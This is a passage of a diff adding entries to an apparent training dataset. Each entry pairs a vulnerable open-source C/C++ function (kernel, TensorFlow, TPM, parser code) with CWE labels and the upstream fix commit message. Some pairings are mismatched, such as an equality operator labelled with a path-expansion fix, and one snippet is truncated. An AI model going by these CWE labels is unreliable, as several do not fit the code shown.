|  187  |  234  |  261  |  121  |\n  const int expected_width = image_width;\n  const int expected_height = image_height * filter_count;\n  Tensor expected_float(\n      DT_FLOAT, TensorShape({image_batch_count, expected_height, expected_width,\n                             filter_count}));\n  test::FillValues(&expected_float, {105, 150, 183, 95, 235, 312, 357,\n                                            178, 187, 234, 261, 121});\n  const Tensor& output_quantized = *GetOutput(0);\n  const float output_min = GetOutput(1)->flat()(0);\n  const float output_max = GetOutput(2)->flat()(0);\n  Tensor output_float =\n      QuantizedTensorToFloat(output_quantized, output_min, output_max);\n  test::ExpectTensorNear(expected_float, output_float, 1.0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-476'], 'message': 'Fix undefined behavior in QuantizedConv2D\n\nAdded more input validation and tests.  Prior to this, we could get\n`nullptr` exceptions when attempting to access 0th elements of 0-sized\ninputs, leading to security vulnerability bugs.\n\nAlso needed to modify `quantized_conv_ops_test.cc` for consistency.\nPreviously the CPU kernel did technically support passing tensors\nof rank larger than 0 for min/max values.  However, the XLA kernels do not.\n\nPiperOrigin-RevId: 445518507'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bool Sampler::operator==(const Sampler &other) const {\n  return this->extensions == other.extensions && this->extras == other.extras &&\n         this->magFilter == other.magFilter &&\n         this->minFilter == other.minFilter && this->name == other.name &&\n         this->wrapS == other.wrapS &&\n         this->wrapT == other.wrapT;\n\n         //this->wrapR == other.wrapR\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'Do not expand file path since its not necessary for glTF asset path(URI) and for security reason(`wordexp`).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int ext4_fill_flex_info(struct super_block *sb)\n{\n\tstruct ext4_sb_info *sbi = EXT4_SB(sb);\n\tstruct ext4_group_desc *gdp = NULL;\n\text4_group_t flex_group_count;\n\text4_group_t flex_group;\n\tint groups_per_flex = 0;\n\tsize_t size;\n\tint i;\n\n\tsbi->s_log_groups_per_flex = sbi->s_es->s_log_groups_per_flex;\n\tgroups_per_flex = 1 << sbi->s_log_groups_per_flex;\n\n\tif (groups_per_flex < 2) {\n\t\tsbi->s_log_groups_per_flex = 0;\n\t\treturn 1;\n\t}\n\n\t/* We allocate both existing and potentially added groups */\n\tflex_group_count = ((sbi->s_groups_count + groups_per_flex - 1) +\n\t\t\t((le16_to_cpu(sbi->s_es->s_reserved_gdt_blocks) + 1) <<\n\t\t\t      EXT4_DESC_PER_BLOCK_BITS(sb))) / groups_per_flex;\n\tsize = flex_group_count * sizeof(struct flex_groups);\n\tsbi->s_flex_groups = ext4_kvzalloc(size, GFP_KERNEL);\n\tif (sbi->s_flex_groups == NULL) {\n\t\text4_msg(sb, KERN_ERR, \"not enough memory for %u flex groups\",\n\t\t\t flex_group_count);\n\t\tgoto failed;\n\t}\n\n\tfor (i = 0; i < sbi->s_groups_count; i++) {\n\t\tgdp = ext4_get_group_desc(sb, i, NULL);\n\n\t\tflex_group = ext4_flex_group(sbi, i);\n\t\tatomic_add(ext4_free_inodes_count(sb, gdp),\n\t\t\t   &sbi->s_flex_groups[flex_group].free_inodes);\n\t\tatomic_add(ext4_free_group_clusters(sb, gdp),\n\t\t\t   &sbi->s_flex_groups[flex_group].free_clusters);\n\t\tatomic_add(ext4_used_dirs_count(sb, gdp),\n\t\t\t   &sbi->s_flex_groups[flex_group].used_dirs);\n\t}\n\n\treturn 1;\nfailed:\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-189'], 'message': 'ext4: fix undefined behavior in ext4_fill_flex_info()\n\nCommit 503358ae01b70ce6909d19dd01287093f6b6271c (\"ext4: avoid divide by\nzero when trying to mount a corrupted file system\") fixes CVE-2009-4307\nby performing a sanity check on s_log_groups_per_flex, since it can be\nset to a bogus value by an attacker.\n\n\tsbi->s_log_groups_per_flex = sbi->s_es->s_log_groups_per_flex;\n\tgroups_per_flex = 1 << sbi->s_log_groups_per_flex;\n\n\tif (groups_per_flex < 2) { ... }\n\nThis patch fixes two potential issues in the previous commit.\n\n1) The sanity check might only work on architectures like PowerPC.\nOn x86, 5 bits are used for the shifting amount.  That means, given a\nlarge s_log_groups_per_flex value like 36, groups_per_flex = 1 << 36\nis essentially 1 << 4 = 16, rather than 0.  This will bypass the check,\nleaving s_log_groups_per_flex and groups_per_flex inconsistent.\n\n2) The sanity check relies on undefined behavior, i.e., oversized shift.\nA standard-confirming C compiler could rewrite the check in unexpected\nways.  Consider the following equivalent form, assuming groups_per_flex\nis unsigned for simplicity.\n\n\tgroups_per_flex = 1 << sbi->s_log_groups_per_flex;\n\tif (groups_per_flex == 0 || groups_per_flex == 1) {\n\nWe compile the code snippet using Clang 3.0 and GCC 4.6.  Clang will\ncompletely optimize away the check groups_per_flex == 0, leaving the\npatched code as vulnerable as the original.  GCC keeps the check, but\nthere is no guarantee that future versions will do the same.\n\nSigned-off-by: Xi Wang \nSigned-off-by: \"Theodore Ts'o\" \nCc: stable@vger.kernel.org'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int regcomp(regex_t *preg, const char *pattern, int cflags)\n{\n    conopt_t globopts;\n    globopts.nested_negative_tags = !(cflags & (REG_NFA | REG_REGLESS));\n    globopts.FFlag = true;\n    globopts.backward = cflags & REG_BACKWARD;\n    globopts.stadfa = cflags & REG_STADFA;\n    Msg msg;\n    Opt opts(globopts, msg);\n    opts.set_subhistories((cflags & REG_SUBHIST) != 0);\n    opts.set_autotags((cflags & REG_AUTOTAGS) != 0);\n    opts.set_posix_syntax(true);\n    opts.set_posix_semantics((cflags & REG_LEFTMOST) == 0);\n    const opt_t *opt = opts.snapshot();\n    preg->flags = cflags;\n\n    const AST *a = parse(pattern);\n\n    preg->rmgr = new RangeMgr;\n\n    ASTRule ar(a, new SemAct(NOWHERE));\n    std::vector arv;\n    arv.push_back(ar);\n    RESpec re(arv, opt, msg, *preg->rmgr);\n\n    find_fixed_tags(re);\n\n    insert_default_tags(re);\n\n    nfa_t *nfa = new nfa_t(re);\n\n    nfa_t *nfa0 = NULL;\n    if (cflags & REG_BACKWARD) {\n        conopt_t globopts0;\n        globopts0.FFlag = true;\n        Opt opts0(globopts0, msg);\n        const opt_t *opt0 = opts0.snapshot();\n        RESpec re0(arv, opt0, msg, *preg->rmgr);\n        nfa0 = new nfa_t(re0);\n        delete opt0;\n    }\n\n    dfa_t *dfa = NULL;\n    rldfa_t *rldfa = NULL;\n\n    if (cflags & REG_NFA) {\n        if ((cflags & REG_TRIE) && (cflags & REG_LEFTMOST)) {\n            preg->simctx = new lzsimctx_t(*nfa, nfa0, preg->re_nsub, cflags);\n        } else if (cflags & REG_TRIE) {\n            preg->simctx = new pzsimctx_t(*nfa, nfa0, preg->re_nsub, cflags);\n        } else if (cflags & REG_LEFTMOST) {\n            preg->simctx = new lsimctx_t(*nfa, nfa0, preg->re_nsub, cflags);\n        } else if (cflags & REG_KUKLEWICZ) {\n            preg->simctx = new ksimctx_t(*nfa, nfa0, preg->re_nsub, cflags);\n        } else {\n            preg->simctx = new psimctx_t(*nfa, nfa0, preg->re_nsub, cflags);\n        }\n    } else {\n        preg->char2class = new size_t[256];\n        split_charset(re);\n        for (uint32_t i = 1, j = 0; i < re.charset.size(); ++i) {\n            for (; j < re.charset[i]; ++j) {\n                preg->char2class[j] = i - 1;\n            }\n        }\n\n        dfa = new dfa_t(*nfa, Rule::NONE, Rule::NONE);\n        if (cflags & REG_REGLESS) {\n            DASSERT((cflags & REG_STADFA) == 0);\n            rldfa = new rldfa_t(*nfa, *dfa, opt, cflags);\n            opt = NULL; // transfer options ownership to RLDFA\n        } else {\n            determinization(*nfa, *dfa, opt, msg, \"\");\n            cutoff_dead_rules(*dfa, opt, \"\", msg);\n            insert_fallback_tags(opt, *dfa);\n            compact_and_optimize_tags(opt, *dfa);\n        }\n\n        if (cflags & REG_TSTRING) {\n            // T-string does not need intermediate storage for tag values.\n        } else if (cflags & REG_SUBHIST) {\n            const size_t nlists = (cflags & REG_REGLESS)\n                ? dfa->tags.size() : static_cast(dfa->maxtagver + 1);\n            preg->regtrie = new regoff_trie_t(nlists);\n        } else {\n            preg->regs = new regoff_t[dfa->maxtagver + 1];\n        }\n    }\n\n    preg->nfa = nfa;\n    preg->dfa = dfa;\n    preg->rldfa = rldfa;\n\n    DASSERT(nfa->rules.size() == 1);\n    preg->re_nsub = nfa->rules[0].ncap + 1;\n    preg->re_ntag = nfa->tags.size();\n\n    if (cflags & REG_TSTRING) {\n        // T-string is stored in RE (reallocated on each regtstring() call if\n        // needed), and the user gets an immutable view of it (const ref).\n        tstring_t &ts = preg->tstring;\n        ts.capacity = 256;\n        ts.string = new tchar_t[ts.capacity];\n        ts.length = 0;\n    } else if (cflags & REG_SUBHIST) {\n        // Allocated on every call to regparse() and returned to the user.\n    } else {\n        // Allocated by the user.\n    }\n\n    delete opt;\n    return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Limit maximum allowed NFA and DFA size.\n\nInstead of failing with an out of memory exception or crashing with a\nstack overflow, emit an error message and exit. This is a partial fix\nfor bug #394 \"Stack overflow due to recursion in src/dfa/dead_rules.cc\",\nwhere re2c hit stack overflow on a counted repetition regexp with high\nupper bound.\n\nThe patch adds the following limits:\n  1. the number of NFA states\n  2. NFA depth (maximum length of a non-looping path from start to end)\n  3. the number of DFA states\n  3. total DFA size (sum total of all NFA substates in all DFA states)\n\nThere are tests for the first three limits, but not for the DFA size as\nall examples that trigger this behavior take a long time to finish (a\nfew seconds), which increases test run time almost twice.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: exo_open_launch_desktop_file (const gchar *arg)\n{\n#ifdef HAVE_GIO_UNIX\n  GFile           *gfile;\n  gchar           *contents;\n  gsize            length;\n  gboolean         result;\n  GKeyFile        *key_file;\n  GDesktopAppInfo *appinfo;\n\n  /* try to open a file from the arguments */\n  gfile = g_file_new_for_commandline_arg (arg);\n  if (G_UNLIKELY (gfile == NULL))\n    return FALSE;\n\n  /* load the contents of the file */\n  result = g_file_load_contents (gfile, NULL, &contents, &length, NULL, NULL);\n  g_object_unref (G_OBJECT (gfile));\n  if (G_UNLIKELY (!result || length == 0))\n    return FALSE;\n\n  /* create the key file */\n  key_file = g_key_file_new ();\n  result = g_key_file_load_from_data (key_file, contents, length, G_KEY_FILE_NONE, NULL);\n  g_free (contents);\n  if (G_UNLIKELY (!result))\n    {\n      g_key_file_free (key_file);\n      return FALSE;\n    }\n\n  /* create the appinfo */\n  appinfo = g_desktop_app_info_new_from_keyfile (key_file);\n  g_key_file_free (key_file);\n  if (G_UNLIKELY (appinfo == NULL))\n    return FALSE;\n\n  /* try to launch a (non-hidden) desktop file */\n  if (G_LIKELY (!g_desktop_app_info_get_is_hidden (appinfo)))\n    result = g_app_info_launch (G_APP_INFO (appinfo), NULL, NULL, NULL);\n  else\n    result = FALSE;\n\n  g_object_unref (G_OBJECT (appinfo));\n\n#ifndef NDEBUG\n  g_debug (\"launching desktop file %s\", result ? \"succeeded\" : \"failed\");\n#endif\n\n  return result;\n#else /* !HAVE_GIO_UNIX */\n  g_critical (_(\"Launching desktop files is not supported when %s is compiled \"\n                \"without GIO-Unix features.\"), g_get_prgname ());\n\n  return FALSE;\n#endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-94'], 'message': 'exo-open : Only execute local .desktop files\n\nIssue #85 (Backported cc047717)\nCVE-2022-32278\n\nThis patch prevents executing possibly malicious .desktop files\nfrom online sources (ftp://, http:// etc.).\n\nOriginal patch authored by Alexander Schwinn '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void process_EXIF (unsigned char * ExifSection, int length)\n{\n    int FirstOffset;\n    \n    Clear_EXIF();\n\n    if (ShowTags){\n        printf(\"Exif header %u bytes long\\n\",length);\n    }\n\n    {   // Check the EXIF header component\n        static uchar ExifHeader[] = \"Exif\\0\\0\";\n        if (memcmp(ExifSection+2, ExifHeader,6)){\n            ErrNonfatal(\"Incorrect Exif header\",0,0);\n            return;\n        }\n    }\n\n    if (memcmp(ExifSection+8,\"II\",2) == 0){\n        if (ShowTags) printf(\"Exif section in Intel order\\n\");\n        MotorolaOrder = 0;\n    }else{\n        if (memcmp(ExifSection+8,\"MM\",2) == 0){\n            if (ShowTags) printf(\"Exif section in Motorola order\\n\");\n            MotorolaOrder = 1;\n        }else{\n            ErrNonfatal(\"Invalid Exif alignment marker.\",0,0);\n            return;\n        }\n    }\n\n    // Check the next value for correctness.\n    if (Get16u(ExifSection+10) != 0x2a){\n        ErrNonfatal(\"Invalid Exif start (1)\",0,0);\n        return;\n    }\n\n    FirstOffset = (int)Get32u(ExifSection+12);\n    if (FirstOffset < 8 || FirstOffset > 16){\n        if (FirstOffset < 16 || FirstOffset > length-16 || length < 16){\n            ErrNonfatal(\"invalid offset for first Exif IFD value\",0,0);\n            return;\n        }\n        // Usually set to 8, but other values valid too.\n        ErrNonfatal(\"Suspicious offset of first Exif IFD value\",0,0);\n    }\n\n    DirWithThumbnailPtrs = NULL;\n\n\n    // First directory starts 16 bytes in.  All offset are relative to 8 bytes in.\n    ProcessExifDir(ExifSection+8+FirstOffset, ExifSection+8, length-8, 0);\n\n    ImageInfo.ThumbnailAtEnd = ImageInfo.ThumbnailOffset >= ImageInfo.LargestExifOffset ? TRUE : FALSE;\n\n    if (DumpExifMap){\n        int a,b;\n        printf(\"Map: %05d- End of exif\\n\",length-8);\n        for (a=0;a \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'Make pointer range checks more consistent.\n    Also twiddle the unused floating point print code (not used in real exif files),\n    but fuzz testing hits it.  New code is equivalent but doesn't cause bus error (don't understand why, but this is all a very bogus thing anyway, just trying to avoid fuzz testing hits.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)\n{\n\tu32 reg;\n\tint err;\n\n\treg = nft_parse_register(attr);\n\terr = nft_validate_register_load(reg, len);\n\tif (err < 0)\n\t\treturn err;\n\n\t*sreg = reg;\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'netfilter: nf_tables: validate registers coming from userspace.\n\nBail out in case userspace uses unsupported registers.\n\nFixes: 49499c3e6e18 (\"netfilter: nf_tables: switch registers to 32 bit addressing\")\nSigned-off-by: Pablo Neira Ayuso '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int unshare_userns(unsigned long unshare_flags, struct cred **new_cred)\n{\n\tstruct cred *cred;\n\n\tif (!(unshare_flags & CLONE_NEWUSER))\n\t\treturn 0;\n\n\tcred = prepare_creds();\n\tif (!cred)\n\t\treturn -ENOMEM;\n\n\t*new_cred = cred;\n\treturn create_user_ns(cred);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399'], 'message': 'userns: unshare_userns(&cred) should not populate cred on failure\n\nunshare_userns(new_cred) does *new_cred = prepare_creds() before\ncreate_user_ns() which can fail. However, the caller expects that\nit doesn't need to take care of new_cred if unshare_userns() fails.\n\nWe could change the single caller, sys_unshare(), but I think it\nwould be more clean to avoid the side effects on failure, so with\nthis patch unshare_userns() does put_cred() itself and initializes\n*new_cred only if create_user_ns() succeeeds.\n\nCc: stable@vger.kernel.org\nSigned-off-by: Oleg Nesterov \nReviewed-by: Andy Lutomirski \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock,\n\t\t\t   struct msghdr *msg, size_t len)\n{\n\tstruct sock_iocb *siocb = kiocb_to_siocb(kiocb);\n\tstruct sock *sk = sock->sk;\n\tstruct netlink_sock *nlk = nlk_sk(sk);\n\tstruct sockaddr_nl *addr = msg->msg_name;\n\tu32 dst_pid;\n\tu32 dst_group;\n\tstruct sk_buff *skb;\n\tint err;\n\tstruct scm_cookie scm;\n\n\tif (msg->msg_flags&MSG_OOB)\n\t\treturn -EOPNOTSUPP;\n\n\tif (NULL == siocb->scm)\n\t\tsiocb->scm = &scm;\n\n\terr = scm_send(sock, msg, siocb->scm, true);\n\tif (err < 0)\n\t\treturn err;\n\n\tif (msg->msg_namelen) {\n\t\terr = -EINVAL;\n\t\tif (addr->nl_family != AF_NETLINK)\n\t\t\tgoto out;\n\t\tdst_pid = addr->nl_pid;\n\t\tdst_group = ffs(addr->nl_groups);\n\t\terr =  -EPERM;\n\t\tif (dst_group && !netlink_capable(sock, NL_NONROOT_SEND))\n\t\t\tgoto out;\n\t} else {\n\t\tdst_pid = nlk->dst_pid;\n\t\tdst_group = nlk->dst_group;\n\t}\n\n\tif (!nlk->pid) {\n\t\terr = netlink_autobind(sock);\n\t\tif (err)\n\t\t\tgoto out;\n\t}\n\n\terr = -EMSGSIZE;\n\tif (len > sk->sk_sndbuf - 32)\n\t\tgoto out;\n\terr = -ENOBUFS;\n\tskb = alloc_skb(len, GFP_KERNEL);\n\tif (skb == NULL)\n\t\tgoto out;\n\n\tNETLINK_CB(skb).pid\t= nlk->pid;\n\tNETLINK_CB(skb).dst_group = dst_group;\n\tmemcpy(NETLINK_CREDS(skb), &siocb->scm->creds, sizeof(struct ucred));\n\n\terr = -EFAULT;\n\tif (memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len)) {\n\t\tkfree_skb(skb);\n\t\tgoto out;\n\t}\n\n\terr = security_netlink_send(sk, skb);\n\tif (err) {\n\t\tkfree_skb(skb);\n\t\tgoto out;\n\t}\n\n\tif (dst_group) {\n\t\tatomic_inc(&skb->users);\n\t\tnetlink_broadcast(sk, skb, dst_pid, dst_group, GFP_KERNEL);\n\t}\n\terr = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);\n\nout:\n\tscm_destroy(siocb->scm);\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-284'], 'message': 'netlink: fix possible spoofing from non-root processes\n\nNon-root user-space processes can send Netlink messages to other\nprocesses that are well-known for being subscribed to Netlink\nasynchronous notifications. This allows ilegitimate non-root\nprocess to send forged messages to Netlink subscribers.\n\nThe userspace process usually verifies the legitimate origin in\ntwo ways:\n\na) Socket credentials. If UID != 0, then the message comes from\n   some ilegitimate process and the message needs to be dropped.\n\nb) Netlink portID. In general, portID == 0 means that the origin\n   of the messages comes from the kernel. Thus, discarding any\n   message not coming from the kernel.\n\nHowever, ctnetlink sets the portID in event messages that has\nbeen triggered by some user-space process, eg. conntrack utility.\nSo other processes subscribed to ctnetlink events, eg. conntrackd,\nknow that the event was triggered by some user-space action.\n\nNeither of the two ways to discard ilegitimate messages coming\nfrom non-root processes can help for ctnetlink.\n\nThis patch adds capability validation in case that dst_pid is set\nin netlink_sendmsg(). This approach is aggressive since existing\napplications using any Netlink bus to deliver messages between\ntwo user-space processes will break. Note that the exception is\nNETLINK_USERSOCK, since it is reserved for netlink-to-netlink\nuserspace communication.\n\nStill, if anyone wants that his Netlink bus allows netlink-to-netlink\nuserspace, then they can set NL_NONROOT_SEND. However, by default,\nI don't think it makes sense to allow to use NETLINK_ROUTE to\ncommunicate two processes that are sending no matter what information\nthat is not related to link/neighbouring/routing. They should be using\nNETLINK_USERSOCK instead for that.\n\nSigned-off-by: Pablo Neira Ayuso \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: boost::optional SaplingNotePlaintext::decrypt(\n    const SaplingEncCiphertext &ciphertext,\n    const uint256 &ivk,\n    const uint256 &epk,\n    const uint256 &cmu\n)\n{\n    auto pt = AttemptSaplingEncDecryption(ciphertext, ivk, epk);\n    if (!pt) {\n        return boost::none;\n    }\n\n    // Deserialize from the plaintext\n    CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n    ss << pt.get();\n\n    SaplingNotePlaintext ret;\n    ss >> ret;\n\n    assert(ss.size() == 0);\n\n    uint256 pk_d;\n    if (!librustzcash_ivk_to_pkd(ivk.begin(), ret.d.data(), pk_d.begin())) {\n        return boost::none;\n    }\n\n    uint256 cmu_expected;\n    if (!librustzcash_sapling_compute_cm(\n        ret.d.data(),\n        pk_d.begin(),\n        ret.value(),\n        ret.rcm.begin(),\n        cmu_expected.begin()\n    ))\n    {\n        return boost::none;\n    }\n\n    if (cmu_expected != cmu) {\n        return boost::none;\n    }\n\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-755', 'CWE-787'], 'message': 'Ignore exceptions when deserializing note plaintexts'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: fast_edit_packet(struct pcap_pkthdr *pkthdr, u_char **pktdata,\n        COUNTER iteration, bool cached, int datalink)\n{\n    uint32_t pkt_len = pkthdr->caplen;\n    u_char *packet = *pktdata;\n    ipv4_hdr_t *ip_hdr = NULL;\n    ipv6_hdr_t *ip6_hdr = NULL;\n    uint32_t src_ip, dst_ip;\n    uint32_t src_ip_orig, dst_ip_orig;\n    uint32_t _U_ vlan_offset;\n    uint16_t ether_type;\n    uint32_t l2offset;\n    uint32_t l2len;\n    int res;\n\n    res = get_l2len_protocol(packet,\n                             pkt_len,\n                             datalink,\n                             ðer_type,\n                             &l2len,\n                             &l2offset,\n                             &vlan_offset);\n\n    if (res < 0)\n        return res;\n\n    packet += l2offset;\n    l2len -= l2offset;\n    pkt_len -= l2offset;\n\n    assert(l2len > 0);\n\n    switch (ether_type) {\n    case ETHERTYPE_IP:\n        if (pkt_len < (bpf_u_int32)(l2len + sizeof(ipv4_hdr_t))) {\n            dbgx(1, \"IP packet too short for Unique IP feature: %u\", pkthdr->caplen);\n            return -1;\n        }\n        ip_hdr = (ipv4_hdr_t *)(packet + l2len);\n        src_ip_orig = src_ip = ntohl(ip_hdr->ip_src.s_addr);\n        dst_ip_orig = dst_ip = ntohl(ip_hdr->ip_dst.s_addr);\n        break;\n\n    case ETHERTYPE_IP6:\n        if (pkt_len < (bpf_u_int32)(l2len + sizeof(ipv6_hdr_t))) {\n            dbgx(1, \"IP6 packet too short for Unique IP feature: %u\", pkthdr->caplen);\n            return -1;\n        }\n        ip6_hdr = (ipv6_hdr_t *)(packet + l2len);\n        src_ip_orig = src_ip = ntohl(ip6_hdr->ip_src.__u6_addr.__u6_addr32[3]);\n        dst_ip_orig = dst_ip = ntohl(ip6_hdr->ip_dst.__u6_addr.__u6_addr32[3]);\n        break;\n\n    default:\n        return -1; /* non-IP or packet too short */\n    }\n\n    dbgx(2, \"Layer 3 protocol type is: 0x%04x\", ether_type);\n\n    /* swap src/dst IP's in a manner that does not affect CRC */\n    if ((!cached && dst_ip > src_ip) ||\n            (cached && (dst_ip - iteration) > (src_ip - 1 - iteration))) {\n        if (cached) {\n            --src_ip;\n            ++dst_ip;\n        } else {\n            src_ip -= iteration;\n            dst_ip += iteration;\n        }\n\n        /* CRC compensations  for wrap conditions */\n        if (src_ip > src_ip_orig && dst_ip > dst_ip_orig) {\n            dbgx(1, \"dst_ip > src_ip(\" COUNTER_SPEC \"): before(1) src_ip=0x%08x dst_ip=0x%08x\", iteration, src_ip, dst_ip);\n            --src_ip;\n            dbgx(1, \"dst_ip > src_ip(\" COUNTER_SPEC \"): after(1)  src_ip=0x%08x dst_ip=0x%08x\", iteration, src_ip, dst_ip);\n        } else if (dst_ip < dst_ip_orig && src_ip < src_ip_orig) {\n            dbgx(1, \"dst_ip > src_ip(\" COUNTER_SPEC \"): before(2) src_ip=0x%08x dst_ip=0x%08x\", iteration, src_ip, dst_ip);\n            ++dst_ip;\n            dbgx(1, \"dst_ip > src_ip(\" COUNTER_SPEC \"): after(2)  src_ip=0x%08x dst_ip=0x%08x\", iteration, src_ip, dst_ip);\n        }\n    } else {\n        if (cached) {\n            ++src_ip;\n            --dst_ip;\n        } else {\n            src_ip += iteration;\n            dst_ip -= iteration;\n        }\n\n        /* CRC compensations  for wrap conditions */\n        if (dst_ip > dst_ip_orig && src_ip > src_ip_orig) {\n            dbgx(1, \"src_ip > dst_ip(\" COUNTER_SPEC \"): before(1) dst_ip=0x%08x src_ip=0x%08x\", iteration, dst_ip, src_ip);\n            --dst_ip;\n            dbgx(1, \"src_ip > dst_ip(\" COUNTER_SPEC \"): after(1)  dst_ip=0x%08x src_ip=0x%08x\", iteration, dst_ip, src_ip);\n        } else if (src_ip < src_ip_orig && dst_ip < dst_ip_orig) {\n            dbgx(1, \"src_ip > dst_ip(\" COUNTER_SPEC \"): before(2) dst_ip=0x%08x src_ip=0x%08x\", iteration, dst_ip, src_ip);\n            ++src_ip;\n            dbgx(1, \"src_ip > dst_ip(\" COUNTER_SPEC \"): after(2)  dst_ip=0x%08x src_ip=0x%08x\", iteration, dst_ip, src_ip);\n        }\n    }\n\n    dbgx(1, \"(\" COUNTER_SPEC \"): final src_ip=0x%08x dst_ip=0x%08x\", iteration, src_ip, dst_ip);\n\n    switch (ether_type) {\n    case ETHERTYPE_IP:\n        ip_hdr->ip_src.s_addr = htonl(src_ip);\n        ip_hdr->ip_dst.s_addr = htonl(dst_ip);\n        break;\n\n    case ETHERTYPE_IP6:\n        ip6_hdr->ip_src.__u6_addr.__u6_addr32[3] = htonl(src_ip);\n        ip6_hdr->ip_dst.__u6_addr.__u6_addr32[3] = htonl(dst_ip);\n        break;\n    }\n\n    return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'Bug #677 - fixes for tcpprep tree'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TPML_TAGGED_POLICY_Unmarshal(TPML_TAGGED_POLICY *target, BYTE **buffer, INT32 *size)\n{\n    TPM_RC rc = TPM_RC_SUCCESS;\n\n    UINT32 i;\n    if (rc == TPM_RC_SUCCESS) {\n\trc = UINT32_Unmarshal(&target->count, buffer, size);\n    }\n    if (rc == TPM_RC_SUCCESS) {\n\tif (target->count > MAX_TAGGED_POLICIES) {\n\t    rc = TPM_RC_SIZE;\n\t}\n    }\n    for (i = 0 ; (rc == TPM_RC_SUCCESS) && (i < target->count) ; i++) {\n\trc = TPMS_TAGGED_POLICY_Unmarshal(&target->policies[i], buffer, size);\n    }\n    return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'tpm2: Reset TPM2B buffer sizes after test fails for valid buffer size\n\nReset the buffer size indicator in a TPM2B type of buffer after it failed\nthe test for the maximum buffer size it allows. This prevents having bad\nbuffer sizes in memory that can come to haunt us when writing the volatile\nstate for example.\n\nSigned-off-by: Stefan Berger '"
+  },
+  {
